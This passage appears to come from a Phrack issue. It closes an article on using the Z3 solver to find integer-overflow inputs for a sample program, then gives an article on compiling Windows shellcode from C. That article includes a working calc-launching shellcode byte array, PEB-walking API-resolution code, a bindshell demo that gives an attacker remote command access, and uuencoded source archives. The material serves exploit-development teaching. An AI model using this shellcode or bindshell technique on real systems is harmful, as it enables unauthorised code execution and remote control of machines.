11 s = Solver()
|
||
|
12
|
||
|
|
||
|
Now that we've declared our variables and initialized the Solver the next
|
||
|
step is to add constraints to our model. The first constraint in this
|
||
|
program is simply declaring the headersize value. This is done with the
|
||
|
following line:
|
||
|
|
||
|
13 s.add(headersize == 113)
|
||
|
|
||
|
The next constraint we can add, is to make sure that width by itself is
|
||
|
enough to cause the allocation to fail, an easy way to do this is to make
|
||
|
sure it is above 0xf0000000, since this would be large enough for a 32-bit
|
||
|
process to fail. You may notice that we used a function "UGT" for this,
|
||
|
rather than the > operator. The reason for this is that the > operator by
|
||
|
default will perform a signed comparison. UGT (unsigned greater than) will
|
||
|
provide us with the unsigned functionality we need. As you can imagine the
|
||
|
counter function to this ULT() will perform an unsigned less than
|
||
|
comparison. Reading the help for the module will show many other useful
|
||
|
functions similar to this.
|
||
|
|
||
|
14 s.add(UGT(width,0xf0000000)) # For malloc fail
|
||
|
|
||
|
Obviously, we need a constraint to calculate allocsize. This is simply a
|
||
|
case of performing the same calculation directly from the source code.
|
||
|
|
||
|
15 s.add(allocsize == width * height + headersize)
|
||
|
|
||
|
We then make sure that the allocsize is less than the headersize, so that
|
||
|
an overflow occurs.
|
||
|
|
||
|
16 s.add(ULT(allocsize & 0xffffffff,headersize))
|
||
|
17
|
||
|
|
||
|
Finally, we solve and print the model...
|
||
|
|
||
|
20 print "[+] Solving..."
|
||
|
21 s.check()
|
||
|
22 ttt = s.model()
|
||
|
23 print "[MODEL---------------------------------------]"
|
||
|
24 print ttt
|
||
|
25 print "[--------------------------------------------]"
|
||
|
|
||
|
If we run this solver, the following values are generated:
|
||
|
|
||
|
$ python solver.py
|
||
|
[+] Solving...
|
||
|
[MODEL---------------------------------------]
|
||
|
[height = 2318056819,
|
||
|
width = 4192030789,
|
||
|
allocsize = 112,
|
||
|
headersize = 113]
|
||
|
[--------------------------------------------]
|
||
|
|
||
|
Inputting this into the target program confirms our technique, an
|
||
|
allocation of 112 bytes is performed and then a header (113) bytes is
|
||
|
written to it. Finally an allocation fails, and the loop is exited, then
|
||
|
the buffer is printf'ed. (in a vulnerable way... ;) )
|
||
|
|
||
|
$ ./asciigrid 4192030789 2318056819
|
||
|
[+] Using width: 4192030789
|
||
|
[+] Using height: 2318056819
|
||
|
[+] Allocating buffer sized: 112
|
||
|
[+] Writing header to buffer (113 bytes)
|
||
|
asciigrid(98654,0xa33e5000) malloc: *** mach_vm_map(size=4192034816) failed
|
||
|
(error code=3)
|
||
|
*** error: can't allocate region
|
||
|
*** set a breakpoint in malloc_error_break to debug
|
||
|
error: Out of Memory!
|
||
|
-------------------------------------------[ ASCII DIAGRAM
|
||
|
]----------------------------------------------------
|
||
|
|
||
|
Finding a way to leverage this overflow is outside of the scope of this
|
||
|
paper, however I have personally leveraged a very similar situation in a
|
||
|
real life application.
|
||
|
|
||
|
|
||
|
---[ Adding constraints to enumerate possibilities?
|
||
|
|
||
|
In the above example, the solver gave us a situation where the buffer was
|
||
|
sized 1 byte smaller than the copy, however, in real life, most allocators
|
||
|
naturally align sizes before returning a chunk to the program. This means
|
||
|
that in the above example, no overflow would actually take place. Also with
|
||
|
the above situation, we often want to enumerate the QUANTUM sizes which we
|
||
|
can utilize on the heap, so we can look for overflow targets etc.
|
||
|
|
||
|
Z3 is not really designed for this, solving all permutations, and is more
|
||
|
designed for solving a single one. However, we can easily cheat by adding
|
||
|
additional constraints to the program. A simple example of this, since we
|
||
|
know that a buffer size of 112 is possible, we simply add a constraint
|
||
|
making sure that allocsize is less than that.
|
||
|
|
||
|
s.add(ULT(allocsize & 0xffffffff,112))
|
||
|
|
||
|
Solving again, we can see that an allocsize of 98 is possible. Since this
|
||
|
is code we can easily wrap this in a loop to enumerate all possibilities.
|
||
|
|
||
|
[+] Solving...
|
||
|
[MODEL---------------------------------------]
|
||
|
[allocsize = 98,
|
||
|
height = 732446463,
|
||
|
width = 4167741711,
|
||
|
headersize = 113]
|
||
|
[--------------------------------------------]
|
||
|
|
||
|
--[ Conclusion
|
||
|
|
||
|
Hopefully this small guide is useful to you. I find myself using these
|
||
|
small solvers constantly during exploit dev. Some other areas that these
|
||
|
help with are, during auditing - to confirm findings, during exploitation -
|
||
|
to calculate values on the fly. I'm sure once you start playing with this
|
||
|
library you will do the same.
|
||
|
|
||
|
--[ References
|
||
|
|
||
|
1. https://z3.codeplex.com/ - Z3 Home Page
|
||
|
2. https://github.com/Z3Prover/z3 - Z3 github page
|
||
|
|
||
|
--[ Appendix: Source code
|
||
|
|
||
|
begin 644 z3_math_src.tgz
|
||
|
M'XL(`&"K858``^U7^T_;2!#FUUC*_S"`>K&)$_R(@T0(4DBX'A*T$H7K232J
|
||
|
M''N=6/@1V1M*./5_O]E=.W$H%)#22*?Z$\2>\;?SV-?L/IA?0YM.OJ:)L[_U
|
||
|
MBZ!IVH%E`7^VQ5,S6N*9`72C;6JF85G&`6BZV=*T+;!^54!%S%)J)QA*1,+X
|
||
|
M9SRD>=Y/OF=Y+)[_$SP4QM].'=\?)[[;=-;J`_NCW6H]._Y&VS`+X]_"\;<L
|
||
|
MS=@";:U1/(/??/QW_<@)9BZ!HY2Z?MR<'$LKJL`?/=8E?C1F.FG7)9X?$?CK
|
||
|
MM#<XO82=QNMQ`[U/_;,S&)SUWE_V+F#XAK8+?(EVEC$,+L]//P!&%Y!(%A$I
|
||
|
MDN1,[`3VG'@ZMR-W-G5M2F2A<U.JBC><^BK,HM0?1\0%/Z*0^@]$D?Z5*B$)
|
||
|
MG>E<9ES&XOJ.5$$9ZEU.0RDA=)9$@,J.]%V2F('0]B.9O=C)&(T+/_A^=S/D
|
||
|
M=E>\??-=.E$GQ!]/J.JCP2PLS$7=\_"W(TD5WY.9+=CN@JD`FJA,<1RH)^_,
|
||
|
M4GM,#N%="D?<TC$<"5O'V#\J=ZH-6=05<N]3N:&S=XRSPMD`7=9I-)X%,N?J
|
||
|
M0_7#]?FYJC&:,/288A0H:"</Y*8^A.L4)X?("$.:L0BXP(S]R!/F<Z*0E"Q;
|
||
|
M$=T16*O9DB2)DT/XS+_2.(8TM(,`FR\S7"2(5C(S>YDKJ&<318%CT.Y-3^!)
|
||
|
M%U?V*"#<18!9$Y#?S118)+0P^83?8J*]((@=F[)L1S//(PF?-6Z>,SP7'YIB
|
||
|
M$P"[WA,/EF;L/)M/AZ>[S<A/9O-Q1B'VX`)WN62^_71_%>/^G/A4#)'M8M`T
|
||
|
MSL/';H#1G))48?$OO6=AKBXUIE3%8BQ2XT3VD:M!!WP<XBP7%.IU4*0*"U^L
|
||
|
M@?!1XCQHEF<HDGQ=EI510NQ;]O8=_W%-IX3*H5K[I[:<G)7PAK\WS"'ZK'U)
|
||
|
M:D6E(931BE(7RGM-X^KG.R!4LP;<D9<0(H>/^IR-M=*I2&P#V>C^7ZS_GNV0
|
||
|
M41S?-J?SM?IXH?YK[0-#U'^M9;0/+%[_3:VL_YO`[O;^+$WV1WZT3Z([F,[I
|
||
|
M)(ZJ4E7RDCB$!Q/\<!HG%/:8KBKU<(:?152N]6I*53K)I1,F]7.ISZ1!+@V8
|
||
|
M5)52E#_%P1U)9"$W;=>5>[B#H94N&"U-`=B%7OT$6$U".>?TD3-@'$L3G'Y]
|
||
|
MP#DHYYQ!XZ3>9YR697%.IF#RPI=@&#IC"%]]X4NW6$1\*0+?_5B@[)33;.ZP
|
||
|
MULZ$.+<L;$IY,6R&L4L"ILC;7'P<G)Z_\M@RW,G;H;FEB;><?)B)]8Q_<?U?
|
||
|
MV+=XF`K(>BPO\=+ZUZSL_J?C!J"9;/WC7[G^-P$LKH=29>PXT`A-`PI70&C$
|
||
|
M2W&S1:G$QE!<_RG?GM==_5]<_[JNMQ?KWS1X_3>L\OZ_$;RI_HO+1Q=.?/HW
|
||
|
M<>0:EVLJF`:6PL5=,?\J%,O/["+!+C\KE%Q94SFK*O'3_B/:0K=@/7V:*/KH
|
||
|
M@JZ;2O[E^OV5N$&HVKV7S3M%P3/`GW&2W3#`L_T@YQ>BZ/YX1UOZ63HXORHT
|
||
|
M^@,OE]G=TE,+;![K+KS81-<-P?TMSR0E2I0H4:)$B1(E2I0H4:)$B1(EUH?_
|
||
|
)`+AIM`(`*```
|
||
|
`
|
||
|
end
|
||
|
|
||
|
|
||
|
|=[ 0x06 ]=---=[ Shellcode the better way, or
|
||
|
how to just use your compiler - fishstiqz ]=------------=|
|
||
|
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=----=[ Shellcode the better way, or how to just use your compiler ]----=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=---------------------------=[ by fishstiqz ]=--------------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
|
||
|
--[ Introduction
|
||
|
|
||
|
Back in the prehistoric days of memory corruption bugs and exploitation,
|
||
|
exploit developers used our primitive tools to construct rudimentary
|
||
|
payloads in assembly language. Those days are long past. In this small
|
||
|
paper I will investigate some methods for anyone still stuck in the good
|
||
|
ol' days of yore using their assembler.
|
||
|
|
||
|
--[ Prerequisites
|
||
|
|
||
|
This writeup uses the MinGW compiler to demonstrate generating shellcode
|
||
|
from C for running on Windows systems. The same concepts should apply to
|
||
|
other compilers (such as MSVC) with some tweaking. The python scripts also
|
||
|
use the 'pefile' library from erocarrera in order to extract the compiled
|
||
|
code.
|
||
|
|
||
|
To quickly get started compiling on a linux system, do something like:
|
||
|
|
||
|
$ sudo apt-get install gcc-mingw-w64
|
||
|
$ pip install pefile
|
||
|
|
||
|
--[ Concepts
|
||
|
|
||
|
There is nothing special about shellcode as opposed to any other compiled
|
||
|
code. A shellcode is simply some piece of machine code that typically
|
||
|
exhibits the following properties:
|
||
|
|
||
|
* Position-independence
|
||
|
* Entry point at first byte
|
||
|
* Bootstrap for subsequent execution / further access
|
||
|
|
||
|
Position-independence is basically the only real hurdle faced when
|
||
|
building shellcode with a C compiler. Strings and imported functions will
|
||
|
need to be handled inline. All code will need to placed in one section
|
||
|
and will need to be ordered appropriately in order to ensure everything is
|
||
|
appropriately extracted and relative jumps are correct.
|
||
|
|
||
|
This paper will not deal with creating shellcodes that are intended to
|
||
|
bypass filters. In the extremely rare event that a filter is necessary
|
||
|
(when is the last time you actually needed one in your browser exploit?)
|
||
|
it is best to write an encoder and decoder.
|
||
|
|
||
|
--[ Inlining strings
|
||
|
|
||
|
Inlining strings is quite easily accomplished with inline assembly as in
|
||
|
the following macro:
|
||
|
|
||
|
#define INLINE_STR(name, str) \
|
||
|
const char * name; \
|
||
|
asm( \
|
||
|
"call 1f\n" \
|
||
|
".asciz \"" str "\"\n" \
|
||
|
"1:\n" \
|
||
|
"pop %0\n" \
|
||
|
: "=r" (name) \
|
||
|
);
|
||
|
|
||
|
This is how it would be used:
|
||
|
|
||
|
INLINE_STR(kernel32, "kernel32");
|
||
|
PVOID pKernel32 = scGetModuleBase(kernel32);
|
||
|
|
||
|
Unfortunately MinGW doesn't have a way to inline a unicode string nor does
|
||
|
MSVC have inline assembly for x64 so a different method must be employed
|
||
|
when these are being used.
|
||
|
|
||
|
One potential way to handle unicode strings would be to generate an inline
|
||
|
sequence of .db bytes as a pre-compile step. For MSVC, writing strings one
|
||
|
character at a time to a stack buffer also works but is quite ugly.
|
||
|
|
||
|
--[ Ordering functions
|
||
|
|
||
|
The Makefile included with the source code makes use of the
|
||
|
-fno-toplevel-reorder switch which causes code to be generated in the same
|
||
|
order they appear in the source files. The Makefile also uses
|
||
|
-falign-functions=1 to reduce padding between functions and generate
|
||
|
smaller code.
|
||
|
|
||
|
Each function is also marked with an attribute forcing them to be
|
||
|
placed into a custom section.
|
||
|
|
||
|
#define SCFUNC __attribute__((section("sccode")))
|
||
|
|
||
|
This custom section makes extraction of the final code very simple
|
||
|
as all shellcode functions will be placed into the "sccode" section
|
||
|
and ordered appropriately.
|
||
|
|
||
|
In MSVC an order file can be specified with /ORDER to achieve the
|
||
|
same effect.
|
||
|
|
||
|
--[ Example shellcode
|
||
|
|
||
|
The following is a quick GetProcAddress implementation in C which
|
||
|
will be used for the examples here.
|
||
|
|
||
|
SCFUNC PVOID scGetModuleBase(const char *moduleName)
|
||
|
{
|
||
|
PPEB pPeb;
|
||
|
PLIST_ENTRY head, entry;
|
||
|
PLDR_DATA_TABLE_ENTRY module;
|
||
|
|
||
|
#if defined(_M_IX86)
|
||
|
pPeb = (PPEB) __readfsdword(0x30);
|
||
|
#elif defined(_M_X64)
|
||
|
pPeb = (PPEB) __readgsqword(0x60);
|
||
|
#endif
|
||
|
|
||
|
head = &pPeb->Ldr->InLoadOrderModuleList;
|
||
|
entry = head->Flink;
|
||
|
|
||
|
while (entry != head)
|
||
|
{
|
||
|
module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY,
|
||
|
InLoadOrderModuleList);
|
||
|
if (scW2Anicmp(module->BaseDllName.Buffer, moduleName, scStrlen
|
||
|
(moduleName)) == 0)
|
||
|
return module->DllBase;
|
||
|
entry = entry->Flink;
|
||
|
}
|
||
|
|
||
|
return NULL;
|
||
|
}
|
||
|
|
||
|
SCFUNC PVOID scGetProcAddr(PVOID modBase, const char *exportName)
|
||
|
{
|
||
|
LPVOID pFunc = NULL;
|
||
|
PBYTE pMod = (PBYTE)modBase;
|
||
|
PIMAGE_NT_HEADERS pNt = GET_NT_HEADERS(pMod);
|
||
|
PIMAGE_DATA_DIRECTORY pDir = &GET_DIRECTORY(pNt,
|
||
|
IMAGE_DIRECTORY_ENTRY_EXPORT);
|
||
|
PIMAGE_EXPORT_DIRECTORY pExportDir;
|
||
|
WORD *pOrdinal;
|
||
|
DWORD *pName;
|
||
|
DWORD *pFuncs;
|
||
|
DWORD i;
|
||
|
|
||
|
// get the export directory
|
||
|
pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pMod + pDir->
|
||
|
VirtualAddress);
|
||
|
|
||
|
// sanity check the export directory
|
||
|
if (pDir->Size == 0 || pExportDir->NumberOfFunctions == 0 ||
|
||
|
pExportDir->NumberOfNames == 0)
|
||
|
return NULL;
|
||
|
|
||
|
// iterate the exported names
|
||
|
pName = (DWORD *) (pMod + pExportDir->AddressOfNames);
|
||
|
pOrdinal = (WORD *) (pMod + pExportDir->AddressOfNameOrdinals);
|
||
|
|
||
|
// hi EMET!
|
||
|
pFuncs = (DWORD *) (pMod + pExportDir->AddressOfFunctions);
|
||
|
|
||
|
for (i = 0; i < pExportDir->NumberOfNames; i++, pName++,
|
||
|
pOrdinal++)
|
||
|
{
|
||
|
if (scStrcmp(exportName, (const char *)(pMod + *pName)) == 0)
|
||
|
{
|
||
|
// found the name, get the function
|
||
|
pFunc = pMod + pFuncs[*pOrdinal];
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
return pFunc;
|
||
|
}
|
||
|
|
||
|
Here you can see a quick calc-pop demonstration using the above code:
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <windows.h>
|
||
|
|
||
|
#include "common.h"
|
||
|
#include "pe.h"
|
||
|
|
||
|
typedef UINT (WINAPI * WinExec_t)(LPCSTR lpCmdLine, UINT uCmdShow);
|
||
|
|
||
|
SCFUNC void scMain(void)
|
||
|
{
|
||
|
INLINE_STR(kernel32, "kernel32");
|
||
|
INLINE_STR(winexec, "WinExec");
|
||
|
INLINE_STR(calc, "calc");
|
||
|
|
||
|
PVOID pKernel32 = scGetModuleBase(kernel32);
|
||
|
WinExec_t pWinExec = (WinExec_t) scGetProcAddr(pKernel32, winexec);
|
||
|
if (pWinExec != NULL)
|
||
|
pWinExec(calc, 0);
|
||
|
}
|
||
|
|
||
|
|
||
|
int main(int argc, char* argv[])
|
||
|
{
|
||
|
scMain();
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
Thats all there is to the code. Notice that all shellcode functions
|
||
|
are marked with the SCFUNC attribute and all strings are inlined.
|
||
|
|
||
|
Now to compile and extract the shellcode into a nice header:
|
||
|
|
||
|
$ i686-w64-mingw32-gcc -fno-toplevel-reorder -falign-functions=1 \
|
||
|
-Os -o runcalc.exe runcalc.c common.c pe.c
|
||
|
$ python extract.py runcalc.exe
|
||
|
// 460 bytes
|
||
|
unsigned char shellcode[460] = {
|
||
|
0x55,0x89,0xE5,0x56,0x53,0x83,0xEC,0x10,0xE8,0x09,0x00,0x00,
|
||
|
0x00,0x6B,0x65,0x72,0x6E,0x65,0x6C,0x33,0x32,0x00,0x58,0x89,
|
||
|
0x04,0x24,0xE8,0xD1,0x00,0x00,0x00,0xE8,0x08,0x00,0x00,0x00,
|
||
|
0x57,0x69,0x6E,0x45,0x78,0x65,0x63,0x00,0x5E,0x89,0x74,0x24,
|
||
|
0x04,0xE8,0x05,0x00,0x00,0x00,0x63,0x61,0x6C,0x63,0x00,0x5B,
|
||
|
0x89,0x04,0x24,0xE8,0xFD,0x00,0x00,0x00,0x85,0xC0,0x74,0x0F,
|
||
|
0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x1C,0x24,0xFF,
|
||
|
0xD0,0x50,0x50,0x8D,0x65,0xF8,0x5B,0x5E,0x5D,0xC3,0x90,0x90,
|
||
|
0x55,0x31,0xC0,0x89,0xE5,0x57,0x56,0x53,0x51,0x83,0x7D,0x10,
|
||
|
0x00,0x74,0x44,0x31,0xD2,0x8B,0x45,0x08,0x66,0x8B,0x0C,0x50,
|
||
|
0x8B,0x45,0x0C,0x8D,0x79,0xBF,0x0F,0xBE,0x1C,0x10,0x0F,0xB7,
|
||
|
0xC1,0x66,0x83,0xFF,0x19,0x8D,0x70,0x20,0x0F,0x46,0xC6,0x89,
|
||
|
0x45,0xF0,0x8D,0x73,0xBF,0x89,0xF0,0x3C,0x19,0x8B,0x45,0xF0,
|
||
|
0x8D,0x7B,0x20,0x0F,0x46,0xDF,0x29,0xD8,0x75,0x0D,0x66,0x85,
|
||
|
0xC9,0x74,0x08,0x42,0x39,0x55,0x10,0x75,0xC0,0x31,0xC0,0x5A,
|
||
|
0x5B,0x5E,0x5F,0x5D,0xC3,0x55,0x31,0xD2,0x89,0xE5,0x53,0x8B,
|
||
|
0x45,0x08,0x8B,0x5D,0x0C,0x8A,0x0C,0x10,0x0F,0xBE,0x1C,0x13,
|
||
|
0x42,0x0F,0xBE,0xC1,0x29,0xD8,0x75,0x04,0x84,0xC9,0x75,0xE7,
|
||
|
0x5B,0x5D,0xC3,0x55,0x89,0xE5,0x8B,0x55,0x08,0x89,0xD0,0x80,
|
||
|
0x38,0x00,0x74,0x03,0x40,0xEB,0xF8,0x29,0xD0,0x5D,0xC3,0x90,
|
||
|
0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0x8B,0x75,0x08,
|
||
|
0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x58,0x0C,
|
||
|
0x8D,0x78,0x0C,0x39,0xFB,0x74,0x28,0x89,0x34,0x24,0xE8,0xC4,
|
||
|
0xFF,0xFF,0xFF,0x8B,0x53,0x30,0x89,0x74,0x24,0x04,0x89,0x14,
|
||
|
0x24,0x89,0x44,0x24,0x08,0xE8,0x36,0xFF,0xFF,0xFF,0x85,0xC0,
|
||
|
0x75,0x05,0x8B,0x43,0x18,0xEB,0x06,0x8B,0x1B,0xEB,0xD4,0x31,
|
||
|
0xC0,0x83,0xC4,0x1C,0x5B,0x5E,0x5F,0x5D,0xC3,0x55,0x89,0xE5,
|
||
|
0x57,0x56,0x53,0x83,0xEC,0x2C,0x8B,0x5D,0x08,0x8B,0x43,0x3C,
|
||
|
0x01,0xD8,0x8B,0x70,0x78,0x01,0xDE,0x83,0x78,0x7C,0x00,0x75,
|
||
|
0x04,0x31,0xC0,0xEB,0x63,0x83,0x7E,0x14,0x00,0x74,0xF6,0x83,
|
||
|
0x7E,0x18,0x00,0x74,0xF0,0x8B,0x46,0x20,0x31,0xD2,0x8B,0x4E,
|
||
|
0x1C,0x01,0xD8,0x89,0x45,0xE4,0x8B,0x46,0x24,0x01,0xD8,0x89,
|
||
|
0x45,0xE0,0x8D,0x3C,0x12,0x03,0x7D,0xE0,0x3B,0x56,0x18,0x73,
|
||
|
0xD0,0x89,0x4D,0xD8,0x8B,0x4D,0xE4,0x89,0x55,0xDC,0x8B,0x04,
|
||
|
0x91,0x01,0xD8,0x89,0x44,0x24,0x04,0x8B,0x45,0x0C,0x89,0x04,
|
||
|
0x24,0xE8,0x0F,0xFF,0xFF,0xFF,0x8B,0x55,0xDC,0x8B,0x4D,0xD8,
|
||
|
0x85,0xC0,0x75,0x0D,0x0F,0xB7,0x07,0x8D,0x04,0x83,0x03,0x1C,
|
||
|
0x08,0x89,0xD8,0xEB,0x03,0x42,0xEB,0xBE,0x83,0xC4,0x2C,0x5B,
|
||
|
0x5E,0x5F,0x5D,0xC3
|
||
|
};
|
||
|
|
||
|
And now to demonstrate running the test harness:
|
||
|
|
||
|
$ python extract.py --testharness runcalc.exe > runcalc_testharness.c
|
||
|
$ i686-w64-mingw32-gcc -fno-toplevel-reorder -falign-functions=1 \
|
||
|
-Os -o runcalc_testharness.exe runcalc_testharness.c
|
||
|
|
||
|
On the windows machine:
|
||
|
|
||
|
C:\phrack\src>runcalc_testharness.exe
|
||
|
jumping to shellcode @ 00020000
|
||
|
done
|
||
|
C:\phrack\src>tasklist | findstr calc
|
||
|
calc.exe 5720 Console 1
|
||
|
14,244 K
|
||
|
|
||
|
--[ Bindshell example
|
||
|
|
||
|
The following is a demonstration of a quick windows bindshell. Consult the
|
||
|
source code for the implementation.
|
||
|
|
||
|
On the linux compiler:
|
||
|
|
||
|
$ i686-w64-mingw32-gcc -fno-toplevel-reorder -falign-functions=1 \
|
||
|
-Os -o bindshell.exe bindshell.c common.c pe.c
|
||
|
$ python extract.py --testharness bindshell.exe > \
|
||
|
bindshell_testharness.c
|
||
|
$ i686-w64-mingw32-gcc -fno-toplevel-reorder -falign-functions=1 \
|
||
|
-Os -o bindshell_testharness.exe bindshell_testharness.c
|
||
|
|
||
|
On the windows machine:
|
||
|
|
||
|
C:\phrack\src>bindshell_testharness.exe
|
||
|
jumping to shellcode @ 00020000
|
||
|
|
||
|
Attacker:
|
||
|
|
||
|
$ telnet 192.168.204.144 3333
|
||
|
Trying 192.168.204.144...
|
||
|
Connected to 192.168.204.144.
|
||
|
Escape character is '^]'.
|
||
|
Microsoft Windows [Version 10.0.10240]
|
||
|
(c) 2015 Microsoft Corporation. All rights reserved.
|
||
|
|
||
|
C:\phrack\src>ver
|
||
|
ver
|
||
|
|
||
|
Microsoft Windows [Version 10.0.10240]
|
||
|
|
||
|
C:\phrack\src>whoami
|
||
|
whoami
|
||
|
win10-vm\user
|
||
|
|
||
|
C:\phrack\src>exit
|
||
|
exit
|
||
|
Connection closed by foreign host.
|
||
|
|
||
|
|
||
|
--[ Conclusion
|
||
|
|
||
|
Hopefully this humble paper showed that its super easy to generate
|
||
|
shellcode with a C compiler and that you don't have to use an assembler.
|
||
|
Obviously assembly language development and understanding are still
|
||
|
essential skills for a modern exploit developer. However, using the
|
||
|
techniques presented in this paper should limit the times when
|
||
|
hand-written assembly code is required to a few specific cases.
|
||
|
|
||
|
--[ References
|
||
|
|
||
|
1. http://www.mingw.org/
|
||
|
2. https://github.com/erocarrera/pefile
|
||
|
3. https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html
|
||
|
4. https://msdn.microsoft.com/en-us/library/00kh39zz.aspx
|
||
|
|
||
|
--[ Appendix: Source code
|
||
|
|
||
|
begin 644 src.tar.gz
|
||
|
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
|
||
|
